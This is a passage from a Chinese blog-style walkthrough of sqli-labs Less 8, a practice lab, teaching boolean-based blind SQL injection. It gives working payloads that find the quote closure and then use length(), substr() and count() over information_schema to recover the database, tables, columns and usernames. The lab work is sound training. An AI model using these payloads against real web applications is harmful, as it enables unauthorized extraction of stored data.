当前位置: 首页 > news >正文

sqli-labs靶场 less 8

文章目录

  • sqli-labs靶场
    • less 8 布尔盲注


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 8 布尔盲注

数据库名长度-》数据库库名
指定数据库中表的个数-》 表名长度-》 表名
指定表中的字段个数-》 字段长度-》 字段名
指定表中该字段有多少条记录-》 数据长度-》 数据内容

  • 题目类型: 字符型 ’ 闭合

id=1和id=1/0 无变化
id=1’不显示You are in
id=1’’ id=1’‘’ id=1’‘’’ 并且呈规律性变化
id=1’–+ 正常回显 所以是字符型注入

在这里插入图片描述
在这里插入图片描述

id=1’–+ 正常回显 所以是字符型注入

在这里插入图片描述

通过以上判断注入类型和闭合方式,可以看到页面只呈现真假二个页面,所以适合使用布尔盲注
先构造轮子
id=1’ and 1 --+
true页面
在这里插入图片描述
id=1’ and 0 --+
false页面在这里插入图片描述
对轮子变形
id=1’ and length(“abcd”) = 4 --+
轮子正确
在这里插入图片描述
替换轮子
1、判断当前数据库

(1)判断数据库名长度
id=1’ and length(database()) =n --+
n表示使用数据库名的长度,对n进行爆破
可见长度为8
在这里插入图片描述

(2)猜数据库名
id=1’ and substr(database(),1,1)=‘s’ --+
在这里插入图片描述
可以看到大小写都盲注成功
在这里插入图片描述

数据名是 security

在这里插入图片描述

2、判断指定库的所有表

(1)判断当前库有多少个表

id=1’ and (select count(table_name) from information_schema.tables where table_schema=“security” ) = 4–+
在这里插入图片描述

在这里插入图片描述
(2)判断指定库中第n个表名最多有几个字母
开始判断第1个表名最多有几个字母

id=1’ and length( (select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ) )=6 --+
判断得到第1个表名有6个字母

在这里插入图片描述
(3)猜指定库中第n个表名
id=1’ and substr((select table_name from information_schema.tables
where table_schema=“security” limit 0,1),1,1)=‘e’ --+
在这里插入图片描述
在这里插入图片描述

3、判断指定库指定表的字段

(1)判断指定表中有几个字段
id=1’ and (select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)=3 --+

在这里插入图片描述
(2)判断指定库的指定表中的第n个字段最多有几个字母
id=1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=2 --+
在这里插入图片描述
(3)猜指定表中第n个字段名
id=1’ and substr((select column_name from information_schema.columns
where table_schema=“security” and table_name=‘users’ limit 0,1),1,1)=‘i’ --+

在这里插入图片描述
在这里插入图片描述

4、爆破内容

(1)判断内容中有几行数据

id=1’ and (select count(username) from users)=13 --+
在这里插入图片描述

(2)判断第n行记录最多有几个字母
id=1’ and length((select username from users limit 0,1))=4 --+
在这里插入图片描述

(3)猜数据内容

id=1’ and substr((select username from users limit 0,1),1,1)=‘D’ --+

MySQL数据库,不区分大小写,Dump和DUMP都可以
在这里插入图片描述

在这里插入图片描述


http://www.dtcms.com/a/99099.html

相关文章:

  • Display Serializer、Camera Deserializer(Camera Des)和SerDes‌ 加解串应用
  • 【vllm/瞎折腾】在内网wsl上安装vllm并尝试多节点部署(失败了)
  • Java并发编程面试题:线程池Fork/Join(19题)
  • 【深度学习新浪潮】具身智能及其发展前景分析
  • 万物皆可“吉卜力”,使用 AI 创建你的作品
  • 逆向中如何判断JSVMP,及如何解决?(包括实战案例)
  • OpenAI API - Agent
  • protobuf新版下载安装
  • 网络通信微服务
  • 【商城实战(95)】Ansible自动化运维,开启高效部署新篇章
  • 3D Gaussian Splatting部分原理介绍和CUDA代码解读(一)——3D/2D协方差和高斯颜色的计算
  • LeetCode 56. 合并区间 | 排序+贪心解法详解
  • 创意 Python 爱心代码分享
  • el-table 动态给每行增加class属性
  • C++ vector容器总结
  • 诠视科技MR眼镜如何使用VLC 进行RTSP投屏到电脑
  • 【从零实现Json-Rpc框架】- 项目实现 - muduo网络通信类实现篇
  • 黑盒测试的测试用例构成的八点要素
  • 突破数据迁移瓶颈!AWS Snowball如何让PB级数据“瞬间”上云?
  • 12款星光闪光污迹艺术绘画效果Clip Studio Paint笔刷画笔+闪光纹理图片 Clip Studio Glitter Texture Brushes
  • INAV电流计校准
  • sqlalchemy:将mysql切换到OpenGauss
  • 使用dumpbin和depends查看dll(exe)的依赖
  • 代码随想录算法训练营第二十八天,动态规划理论基础,509.斐波那契数,70.爬楼梯,746.使用最小花费爬楼梯。
  • OpenAI API - Practice
  • 【全栈开发】—— Paddle OCR 文字识别 + deepseek接入(基于python 最新!!!)
  • 【STL】vector介绍(附部分接口模拟实现)
  • 【C#】`Task.Factory.StartNew` 和 `Task.Run` 区别
  • Ubuntu和Windows实现文件互传
  • HTML基础及进阶